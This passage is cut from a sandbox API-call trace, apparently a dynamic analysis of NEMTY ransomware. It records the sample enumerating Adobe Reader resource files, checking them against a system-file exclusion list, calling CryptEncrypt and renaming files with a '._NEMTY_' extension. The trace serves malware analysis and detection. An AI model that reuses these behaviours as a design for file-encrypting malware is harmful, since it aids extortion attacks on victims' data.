lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.394] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.394] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.394] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.400] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.400] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.400] CloseHandle (hObject=0xffffffff) returned 0 [0195.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0195.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0195.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0195.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0195.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0195.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0195.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.401] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-h._nemty_kgobjgd_")) returned 0 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0195.401] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="90MS-R~2")) returned 1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2=".") returned 1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="..") returned 1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="...") returned 1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="windows") returned -1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="rsa") returned -1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="NTDETECT.COM") returned -1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="ntldr") returned -1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="MSDOS.SYS") returned -1 [0195.401] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="IO.SYS") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="boot.ini") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="boot.ini") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="AUTOEXEC.BAT") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="ntuser.dat") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="desktop.ini") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="CONFIG.SYS") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="RECYCLER") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="BOOTSECT.BAK") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="bootmgr") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="programdata") returned -1 [0195.402] lstrcmpiW (lpString1="90ms-RKSJ-UCS2", lpString2="appdata") returned -1 [0195.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0195.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="90ms-RKSJ-UCS2", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="90ms-RKSJ-UCS2", lpUsedDefaultChar=0x0) returned 14 [0195.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0195.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0195.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0195.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0195.402] Sleep (dwMilliseconds=0x5) [0195.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x281dcbf0, dwHighDateTime=0x1d561e8)) [0195.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x281dcbf0, dwHighDateTime=0x1d561e8)) [0195.403] GetLastError () returned 0x5 [0195.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0195.403] GetLastError () returned 0x5 [0195.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0195.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0195.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0195.404] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0195.404] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0195.404] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0195.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0195.404] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="wDdieKcACHMV3//WUOzHfZ5o/npiVSh4z+yzEc79q5JqXGkpDNWvUaSB/xpQYUW1\r\ngY+CrUZdQ1Exzpq8JSwSuNJJLozuLa8zcjZEQKgyv2LiJHg+bIQrG4THMd5Z/P43\r\n7R4CO+GFq3CT/PJ4a0YGFWh3f7Ui8rwrS0+A9jd3sVW8ADepXNzMnJuTSWruykTk\r\nHFvUwB6zAyaxQO9T/5doVop1xUtrh5v6F039eCgrAV7BzMFSXRfL6oFql0ieBb7Z\r\nm/HVr2eX5AGrzxuIz6Zllw31saM07CSNBk6x9m7BrR/+nc2ZGi7Tuzx4EZQW1u3Q\r\nrb/3RANHRSuq+5MNenRzPQ==\r\n", pcchString=0x653e91c) returned 1 [0195.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0195.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0195.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0195.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0195.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0195.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0195.404] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\90ms-RKSJ-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\90ms-rksj-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0195.405] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0195.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0195.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.414] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.414] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.414] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.444] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.444] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.500] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.506] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.506] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.506] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0195.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0195.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0195.512] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0195.512] CloseHandle (hObject=0xffffffff) returned 0 [0195.512] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0195.512] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, 